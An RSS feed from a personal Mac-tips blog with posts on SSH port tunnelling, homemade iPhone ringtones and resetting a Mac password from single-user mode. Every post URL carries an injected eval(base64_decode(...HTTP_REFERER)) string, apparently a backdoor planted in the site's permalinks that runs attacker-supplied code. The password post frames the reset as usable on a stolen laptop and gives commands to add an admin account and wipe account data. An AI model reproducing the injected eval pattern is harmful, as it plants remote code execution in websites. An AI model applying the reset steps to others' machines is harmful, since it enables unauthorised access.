<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jesse &#187; Mac</title>
	<atom:link href="http://www.jessecole.org/tag/mac/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.jessecole.org</link>
	<description>A pointless blog lacking in substance.</description>
	<lastBuildDate>Thu, 15 Jan 2009 17:43:31 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Remote Desktop over ssh tunnel</title>
		<link>http://www.jessecole.org/2009/01/15/remote-desktop-over-ssh-tunnel/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.jessecole.org/2009/01/15/remote-desktop-over-ssh-tunnel/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 15 Jan 2009 17:41:00 +0000</pubDate>
		<dc:creator>Jesse Cole</dc:creator>
				<category><![CDATA[Interesting Tech Crap]]></category>
		<category><![CDATA[10.5]]></category>
		<category><![CDATA[encryption]]></category>
		<category><![CDATA[Mac]]></category>
		<category><![CDATA[ssh]]></category>

		<guid isPermaLink="false">http://www.jessecole.org/?p=146</guid>
		<description><![CDATA[This is a quick little post to show off some of the capabilities of an ssh tunnel. So, the back story. Earlier today, i was having a problem. There is a server on lcsd2.org that i needed gui (Apple Remote Desktop) access to. In the past, there is an ipsec based vpn i could use [...]]]></description>
			<content:encoded><![CDATA[<p>This is a quick little post to show off some of the capabilities of an ssh tunnel.  So, the back story.  Earlier today, i was having a problem.  There is a server on lcsd2.org that i needed gui (Apple Remote Desktop) access to.  In the past, there is an ipsec based vpn i could use that was as simple as a single mouse click.  Unfortunately, UW has decided, for whatever reason, that outbound ipsec tunnels shouldn&#8217;t be allowed.  I can&#8217;t connect.  However, i do have ssh access to a server on the inside of the network, and thats how this works.<span id="more-146"></span></p>
<p>So, to start you need ssh access to a server on the network you want access to.  Check</p>
<p>Now you need to know the port of the service on the remote machine you need access to.ARD uses port 5900 for control/observe.  Check.</p>
<p>Now, you just need to forward the port like so</p>
<pre>ssh -L 9999/10.1.32.25/5900 helios.lcsd2.org</pre>
<p>I&#8217;ll break that down a bit.</p>
<pre>-L 9999/10.1.32.25/5900</pre>
<p>The -L requests that port 9999 on the local machine be bound to a secure tunnel over ssh to the remote machine.  10.1.32.25 is the machine that i am trying to access ultimately and 5900 is the port that i want.</p>
<pre>helios.lcsd2.org</pre>
<p>This is the remote machine i am ssh&#8217;ing to.  This is the one i have access to outside the network that i use to connect to the computer i want access to inside the network.</p>
<p>So, to recap.  I establish a secure connection to helios.lcsd2.org.  I choose a local port on the local machine that i want to use to access that secure tunnel.  I choose the machine and the port and the end of the tunnel that i want access to.  Now all thats left is to connect.</p>
<p>I am assuming here that you are running leopard.  In Finder, go to the &#8220;Go&#8221; menu and choose &#8220;Connect to Server&#8221;</p>
<p><a href="http://www.jessecole.org/wordpress/wp-content/uploads/connect-to-server.png"><img class="alignnone size-thumbnail wp-image-148" title="connect-to-server" src="http://www.jessecole.org/wordpress/wp-content/uploads/connect-to-server-108x150.png" alt="connect-to-server" width="108" height="150" /></a></p>
<p>Now, in the &#8220;Connect to Server&#8221; box, enter vnc://localhost:9999.</p>
<p><a href="http://www.jessecole.org/wordpress/wp-content/uploads/connect-to-server-2.png"><img class="alignnone size-thumbnail wp-image-149" title="connect-to-server-2" src="http://www.jessecole.org/wordpress/wp-content/uploads/connect-to-server-2-150x100.png" alt="connect-to-server-2" width="150" height="100" /></a></p>
<p>Now, if all is well, you should see a prompt asking for a username and password on the remote machine.  Just enter in your credentials and your done!  You should now see the screen of the remote machine and have full access to it.</p>
<p>I should point out that this basic technique can applied to just about anything.  I used to use it to access my router configuration page when i was away.  Just change the ip address to the router and the port to 80 and your good.  You could also use this to access internal websites at your company, school, whatever.</p>
<p>Enjoy!  Please leave a comment if this was helpful.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jessecole.org/2009/01/15/remote-desktop-over-ssh-tunnel/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>iPhone Ringtones</title>
		<link>http://www.jessecole.org/2008/12/28/iphone-ringtones/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.jessecole.org/2008/12/28/iphone-ringtones/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 28 Dec 2008 07:34:43 +0000</pubDate>
		<dc:creator>Jesse Cole</dc:creator>
				<category><![CDATA[Other]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[Mac]]></category>

		<guid isPermaLink="false">http://www.jessecole.org/?p=117</guid>
		<description><![CDATA[I got an iPhone! Wheeeeeee!!! . . . Sorry. So, i got me an iPhone for christmas. Its great. Its an iPod, its a phone, its a pda, its the best internet appliance there is, and its a great game platform too. Really, it beats my old phone out of the water in just about [...]]]></description>
			<content:encoded><![CDATA[<p>I got an iPhone!  Wheeeeeee!!!<br />
.<br />
.<br />
.<br />
Sorry.  So, i got me an iPhone for christmas.  Its great.  Its an iPod, its a phone, its a pda, its the best internet appliance there is, and its a great game platform too.  Really, it beats my old phone out of the water in just about every way.  But, there is one shortcoming it shares with all phones.  Ringtones.  Stupid little 5-30 second clips that should $!%@ing be free cost up to $3.00 on other platforms and cost an additional $.99 in addition to the cost of the song for the iPhone.  Its wrong.  Well, i&#8217;m Jesse.  I don&#8217;t pay a full freaking dollar for 20-30 seconds of music.  I also don&#8217;t rebuy the music for the privilege of paying that full dollar.  You shouldn&#8217;t either.  You have the music, you want the clip, and i&#8217;m going to tell you how to do it.<span id="more-117"></span></p>
<p>*Update* I forgot when i wrote this that Quicktime Pro is required.  Quicktime Pro is $15 and in my opinion well worth it.  While i agree that its functionality should be standard, it is the same cost as dedicated tools for just iphone ringtones and it does a lot more.</p>
<p>First, obviously, you have to have the music.  You won&#8217;t be able to use iTunes music for this unless its iTunes plus.  DRM gets in the way (that&#8217;ll be another post).  The song needs to be one you ripped from a cd, pirated, et al.  I don&#8217;t judge.  I&#8217;m going to do this as step by step as i can for the benefit of my less technically inclined listeners.</p>
<p>Ok, second.  In iTunes, find the song you want.  Right click (or control click) on it and choose &#8220;show in finder&#8221;.<br />
<a href="http://www.jessecole.org/wordpress/wp-content/uploads/show-in-finder.png"><img class="alignnone size-thumbnail wp-image-125" title="show-in-finder" src="http://www.jessecole.org/wordpress/wp-content/uploads/show-in-finder-85x150.png" alt="show-in-finder" width="85" height="150" /></a></p>
<p>Now, a finder window will pop up and the song file will be selected.</p>
<p><a href="http://www.jessecole.org/wordpress/wp-content/uploads/finder-window.png"><img class="alignnone size-thumbnail wp-image-126" title="finder-window" src="http://www.jessecole.org/wordpress/wp-content/uploads/finder-window-150x93.png" alt="finder-window" width="150" height="93" /></a></p>
<p>The next step is to open the file in quicktime.  If you double click it, by default, the file will probably open in iTunes so right click on the file (control click) and choose open with -&gt; Quicktime Player.</p>
<p><a href="http://www.jessecole.org/wordpress/wp-content/uploads/open-with.png"><img class="alignnone size-thumbnail wp-image-127" title="open-with" src="http://www.jessecole.org/wordpress/wp-content/uploads/open-with-129x150.png" alt="open-with" width="129" height="150" /></a><a href="http://www.jessecole.org/wordpress/wp-content/uploads/open-with-quicktime-player.png"><img class="alignnone size-thumbnail wp-image-128" title="open-with-quicktime-player" src="http://www.jessecole.org/wordpress/wp-content/uploads/open-with-quicktime-player-150x71.png" alt="open-with-quicktime-player" width="150" height="71" /></a></p>
<p>Now you&#8217;re in quicktime.  Here you have a window showing the song as a bar.  At the one end are little triangles that that you can drag to select the portion you want.  Just listen to the song and try to select just the part you want.  Its important to note that the iPhone won&#8217;t do ringtones over 30 seconds.  I think iTunes might not even sync it for you.</p>
<p><a href="http://www.jessecole.org/wordpress/wp-content/uploads/editing-1.png"><img class="alignnone size-thumbnail wp-image-129" title="editing-1" src="http://www.jessecole.org/wordpress/wp-content/uploads/editing-1-150x58.png" alt="editing-1" width="150" height="58" /></a></p>
<p>When you have about what you want, i recommend selecting a little more on purpose, press apple+c to copy it.  Now you will need to press apple+n for a new windows and press apple+v to paste your selection into it.  Here you can edit it further down to what you want.  A tip, you can drag the window out to get more precise with your selecting.</p>
<p><a href="http://www.jessecole.org/wordpress/wp-content/uploads/editing-2.png"><img class="alignnone size-thumbnail wp-image-130" title="editing-2" src="http://www.jessecole.org/wordpress/wp-content/uploads/editing-2-150x24.png" alt="editing-2" width="150" height="24" /></a></p>
<p>Ok, you&#8217;re done choosing your ringtone.  Its time to export the ringtone into a format iTunes will accept.  Go to File -&gt; Export, or you can press apple+e.</p>
<p><a href="http://www.jessecole.org/wordpress/wp-content/uploads/editing-4-export.png"><img class="alignnone size-thumbnail wp-image-131" title="editing-4-export" src="http://www.jessecole.org/wordpress/wp-content/uploads/editing-4-export-110x150.png" alt="editing-4-export" width="110" height="150" /></a></p>
<p>In the export options, at the bottom, click next to Export: and choose &#8220;Movie to MPEG-4&#8243;.</p>
<p><a href="http://www.jessecole.org/wordpress/wp-content/uploads/editing-5-mpeg-4.png"><img class="alignnone size-thumbnail wp-image-132" title="editing-5-mpeg-4" src="http://www.jessecole.org/wordpress/wp-content/uploads/editing-5-mpeg-4-150x114.png" alt="editing-5-mpeg-4" width="150" height="114" /></a></p>
<p>Now click options.  At the top, make sure it says MP4 and not MP4 (ISMA).  Under video you won&#8217;t have to change anything, there is no video.  In audio, you want Format: AAC-LC, Data Rate: 128 (or whatever you want if you know better), Channels: Stereo, Sample Rate: Recommended (or whatever, not important), and Encoding Quality: Best.  Under streaming, just make sure that streaming is unchecked and click ok.</p>
<p><a href="http://www.jessecole.org/wordpress/wp-content/uploads/editing-6-video.png"><img class="alignnone size-thumbnail wp-image-133" title="editing-6-video" src="http://www.jessecole.org/wordpress/wp-content/uploads/editing-6-video-150x142.png" alt="editing-6-video" width="150" height="142" /></a><a href="http://www.jessecole.org/wordpress/wp-content/uploads/editing-7-audio.png"><img class="alignnone size-thumbnail wp-image-134" title="editing-7-audio" src="http://www.jessecole.org/wordpress/wp-content/uploads/editing-7-audio-150x142.png" alt="editing-7-audio" width="150" height="142" /></a><a href="http://www.jessecole.org/wordpress/wp-content/uploads/editing-8-streaming.png"><img class="alignnone size-thumbnail wp-image-135" title="editing-8-streaming" src="http://www.jessecole.org/wordpress/wp-content/uploads/editing-8-streaming-150x142.png" alt="editing-8-streaming" width="150" height="142" /></a></p>
<p>Now you&#8217;re back at the export save screen.  This part is important.  iTunes will only recognize your file as a ringtone if it has a .m4r extension.</p>
<p><a href="http://www.jessecole.org/wordpress/wp-content/uploads/editing-9-save-as.png"><img class="alignnone size-thumbnail wp-image-143" title="editing-9-save-as" src="http://www.jessecole.org/wordpress/wp-content/uploads/editing-9-save-as-150x113.png" alt="editing-9-save-as" width="150" height="113" /></a></p>
<p>Save it somewhere you can find too, i recommend the desktop.  Now its just a simple matter of dragging the file into iTunes and syncing your iPhone.  If you manually manage things, just drag the ringtone over.  The ringtones will show up in a special place in iTunes called &#8220;Ringtones&#8221;.</p>
<p><a href="http://www.jessecole.org/wordpress/wp-content/uploads/itunes-ringtones.png"><img class="alignnone size-thumbnail wp-image-137" title="itunes-ringtones" src="http://www.jessecole.org/wordpress/wp-content/uploads/itunes-ringtones-136x150.png" alt="itunes-ringtones" width="136" height="150" /></a></p>
<p>Now you&#8217;re done.  Just select the ringtone on your iPhone in the usual way and then enjoy your free ringtones forever.  Feel pride in the fact that you didn&#8217;t let the record industry rape you with their $.99 ringtones and flaunt your newfound abilities in their faces.  Also, if you&#8217;re bored, let apple know this is unacceptable the way things are.  The recording industry won&#8217;t hear or listen to you but apple might.  They <strong>want</strong> their customers to be happy.</p>
<p>One more thing, if this all sounds like too much, remember, there are for pay programs out there that will assist you.  Unfortunately programs like <a href="http://www.efksoft.com/products/iphoneringtonemaker/index.htm">iPhone Ringtone Maker</a> cost the same as Quicktime Pro so i recommend just learning the routine with quicktime.  Quicktime Pro can be used for a lot more than just ringtone editing too.  Let me know how it goes in the comments <img src='http://www.jessecole.org/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jessecole.org/2008/12/28/iphone-ringtones/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Mac OS X Single User Mode Password Reset</title>
		<link>http://www.jessecole.org/2008/06/25/mac-os-x-single-user-mode-password-reset/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.jessecole.org/2008/06/25/mac-os-x-single-user-mode-password-reset/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 26 Jun 2008 04:09:48 +0000</pubDate>
		<dc:creator>Jesse Cole</dc:creator>
				<category><![CDATA[Interesting Tech Crap]]></category>
		<category><![CDATA[10.4]]></category>
		<category><![CDATA[10.5]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[Mac]]></category>
		<category><![CDATA[netinfo]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://773338991</guid>
		<description><![CDATA[Have you ever needed to get into a mac but didn&#8217;t know the password. Maybe you forgot it. Maybe your roommate changed it and headed off for christmas break. Maybe you stole it in an airport and now want to use it. Whatever the situation, you need in but don&#8217;t have the credentials. I&#8217;m here [...]]]></description>
			<content:encoded><![CDATA[<p>Have you ever needed to get into a mac but didn&#8217;t know the password.  Maybe you forgot it.  Maybe your roommate changed it and headed off for christmas break.  Maybe you stole it in an airport and now want to use it.  Whatever the situation, you need in but don&#8217;t have the credentials.  I&#8217;m here to help.</p>
<p>In Mac OS X there are at least two methods for resetting a password.  And it does require resetting.  This isn&#8217;t windows, you can&#8217;t just boot off a cd and automatically crack the password.  Apple decided to used modern encryption techniques 10 years ago that were probably 10 years old then to protect your passwords.  Microsoft still hasn&#8217;t.</p>
<p>Method number 1:  Follow the instructions <a title="Generic password reset instructions." href="http://support.apple.com/kb/HT1274">here</a> to boot off a disc and reset your password the apple way.</p>
<p>Method number 2:  Follow my instructions below and reset it the &#8220;cool&#8221; way.</p>
<p><span id="more-58"></span>Before i begin, there&#8217;s something i should talk about.  In the traditional *nix world (unix, linux, solaris&#8230;nix), the idea of storing passwords in a flat file on the filesystem is the norm.  Usually, in linux anyway, user info is in /etc/passwd (user id, shell, name, etc.) and the password data is encrypted in /etc/shadow.  You will notice in OS X that the file /etc/fstab exists.  So that file is where all user account data is stored, right?  WRONG!  This file exists but it is only consulted/used in any way in single user mode (i&#8217;ll get to that later). The thing to take away here is that in OS X, account data is stored in a database.  Prior to 10.5 (maybe 10.4 too??) this database was apple&#8217;s proprietary <a title="Netinfo on wikipedia" href="http://en.wikipedia.org/wiki/Netinfo">netinfo</a> database.  In 10.5, netinfo was done away with completely and replaced something else ( i think its <a title="openldap homepage.  Try wikipedia for more info." href="http://www.openldap.org/">openldap</a>).  Either way, theres a little more to it than editing a text file.</p>
<p>I mentioned single user mode before.  In the *nix world (again. unix, linux, etc.), there is some concept for allowing access to the system without loading the entire system up.  You know, in case of emergencies or for maintenance reasons.  Microsoft actually does this also with the recovery console&#8230;kinda.  The important thing is, (unless you&#8217;ve locked it down) it gives you access to the system without authenticating.  Whats more is that it gives you &#8220;<a title="The SuperUser" href="http://en.wikipedia.org/wiki/Root_user">root</a>&#8221; access.</p>
<p>Ok, lets get to it.  To enter single user mode, reboot the machine and, at the chime, hold down the &#8220;apple&#8221; and the &#8220;s&#8221; keys.  Keep holding them down until you are presented with a text only prompt.  We will be modifying files on the filesystem so we need to remount the filesystem as read/write.  Type the following:</p>
<pre>mount -uw /</pre>
<p>Next step, we need to load the daemon responsible for providing access to the account database.  This is a little different between 10.4 and 10.5.  In 10.4, despite my sincerest efforts, i was unable to find a reliable way of starting only the process needed. I&#8217;ve only had trouble on clients 10.4.9 and below and i&#8217;m pretty sure its an apple bug.  It just doesn&#8217;t work right (hangs at blue aqua screen).  If you&#8217;re using 10.4.9 or below, good luck or check the end of this document for an alternative.</p>
<p>10.4:</p>
<pre>sh /etc/rc</pre>
<p>In 10.5, apple will actually give you the command to use if you try to use dscl (directory services command line utility).</p>
<p>10.5:</p>
<pre>launchctl load /System/Library/LaunchDaemons/com.apple.DirectoryServicesLocal.plist</pre>
<p>Now the daemon is running and you have access to the database.  What we&#8217;re going to do here is enable the root account.  Remember how i said that you currently have root access?  Well, you can&#8217;t  type passwd, give it a password and be done.  The reason is like i said, right now /etc/passwd is being consulted.  At best the command would fail.  At worst, nothing would happen.  You need to change the directory database root user&#8217;s password.  I&#8217;m pretty sure this is the same in 10.4 and 10.5.  We&#8217;ll be doing this interactive mode:</p>
<pre>dscl .</pre>
<p>This opens the command line utility and gives you &#8220;shell&#8221; access to the database.  Next, we navigate to the right user like so&#8230;</p>
<pre>cd /Users</pre>
<p>Pretty easy so far.  Now we&#8217;ll give the root account a password thus enabling it on boot.  You can also substitute &#8220;root&#8221; here for any other account you see after typing ls to reset that password.</p>
<pre>/Users &gt; passwd root
New Password:
/Users &gt;</pre>
<p>Just enter your password of choice after &#8220;New Password&#8221; and your done.  Type exit and then reboot to reboot into normal mode</p>
<pre>exit
reboot</pre>
<p>When the computer comes up, either click on other and type root for user and the password you gave or just type it in the name a password fields and voila!  Superuser access.  Now be careful.  &#8220;With Great Power Comes Great Responsibility&#8221;.  Seriously, the superuser isn&#8217;t inhibited by any permissions or many of the security features of the system.  You can cause real damage and not even be warned about it with him.  That said, you can also use it to ignore permissions and retrieve files or whatever you need to do.</p>
<p>Method 2.b.  Make your own account.</p>
<p>Maybe you need into the computer but don&#8217;t want to bother any account data already there.  The following commands, in non-interactive mode, will create a user called Administrator with administrative privileges.</p>
<pre>dscl . -create /Users/"admin"
dscl . -create /Users/"admin" UserShell /bin/bash
dscl . -create /Users/"admin" RealName "Administrator"
dscl . -create /Users/"admin" UniqueID "id"
dscl . -create /Users/"admin" PrimaryGroupID "20"
dscl . -create /Users/"admin" NFSHomeDirectory /Users/admin
dscl . -passwd /Users/"admin" "password"
dscl . -append /Groups/admin GroupMembership admin</pre>
<p>One thing about the above.  The UniqueID.  This has to be unique.  One thing you can do to determine a usable uniqueid is to run this command:</p>
<pre>echo $[$(dscl . -list /Users uid | awk '{print $2}' | sort -n | tail -n1)+1]</pre>
<p>Of course, you&#8217;re probably safe using a high number like 550 provided you don&#8217;t have 50 or more local users on your machine.  You can change the commands above to create a user with a different name, etc. but be careful.  Theres a little more to it than that.  <a title="Apple's create user instructions" href="http://developer.apple.com/documentation/Porting/Conceptual/PortingUnix/additionalfeatures/chapter_10_section_9.html">Here</a> are apples instructions on creating users this way but they leave out creating a group for the user and just using staff instead.  Thats probably fine but i&#8217;ve had trouble not creating a group before.  I may do a writeup on that later.</p>
<p>Now, the security conscious people out there are probably wondering, &#8220;isn&#8217;t this a huge security hole?  I mean anyone can gain root whenever they want&#8221;.  First, no they can&#8217;t.  This might sound obvious but to do any of this, they have to be sitting in front of the machine.  For years, security experts have said physical security is the first step to a secure system.  Seriously, any machine can be compromised if you have physical access to it.  FWIW, there are any number of tools available online to reset windows passwords.  This same basic technique can also be applied to any linux system that hasn&#8217;t been really locked down but again, with physical access, you can reset it.  That said, you can&#8217;t always have physical security.  In a school for example, kids may be in a position to reboot a computer and do this without a teacher really noticing.  If you want to, there are a few things you can do to mitigate the problem.</p>
<ol>
<li>Set a firmware password.  <a title="Firmware password reset instructions." href="http://support.apple.com/kb/HT1352">Here</a> are apple&#8217;s instruction for doing so.  The upside is it prevents both single user mode and booting from a disc without the password.  The downside however is once again, physical security.  If you have physical access to the machine you can reset the firmware password by removing some memory, turning it on and off, and putting the memory back in.  This is, however,  much less easy to do in a school lab environment.</li>
<li>Turn on filevault.  Filevault will encrypt your home folder and all files in it using aes encryption.  Filevault requires your account password to decrypt it or alternatively, the master password.  The master password cannot be reset because only the one that encrypted it can decrypt it.  This secures your data but a new account could still be made allowing someone to use the machine.</li>
<li>Disable single user mode.  I hesitate to mention this because people might think its a legitimate thing to do.  Don&#8217;t.  Unless you&#8217;re sure you know what you&#8217;re doing, don&#8217;t.  I&#8217;m not going to post instructions or links here but a quick google search should give you what you want.</li>
</ol>
<p>Alternative method.</p>
<p>There is another thing you can do.  If you don&#8217;t care about the current user account or its corrupt or something, you can reset it completely.  Understand that all your login credentials will be wiped out and you will have to create a new one.  First, enter single user mode and mount the filesystem read/write.  Then do this:</p>
<p>10.4</p>
<pre>rm -Rf /var/db/netinfo</pre>
<p>10.5</p>
<pre>rm -Rf /var/db/dslocal
rm /var/db/.AppleSetupDone</pre>
<p>This removes the database files and forces Mac OS X to go through the setup assistant again allowing you to create an administrative account as though it were a brand new machine</p>
<p>Well, i hope this article has been informative.  Please leave a comment if you like or have any suggestions/corrections to make.</p>
<p><strong>*Update</strong>.  Turns out i was a little off on (at least)one thing.  In Mac OS X 10.5, netinfo has been completely dropped in favor of xml based files /var/db/dslocal.  It looks like the directory services daemon starts at runtime and reads these in allowing for database style queries to it.</p>
<p><strong>*Update 2</strong>.  I really need to learn to proofread.  Corrected many spelling errors and added commands where i had previously left placeholders.  Enjoy.</p>
<p><strong>*Update 3</strong>.  Mac (seriously &#8220;mac&#8221;? thats the best you could do?)  has pointed out that i&#8217;ve made a mistake.  In 10.5 there is an additional step to take after deleting the directory database.  I&#8217;ve added it above.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jessecole.org/2008/06/25/mac-os-x-single-user-mode-password-reset/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
	</channel>
</rss>
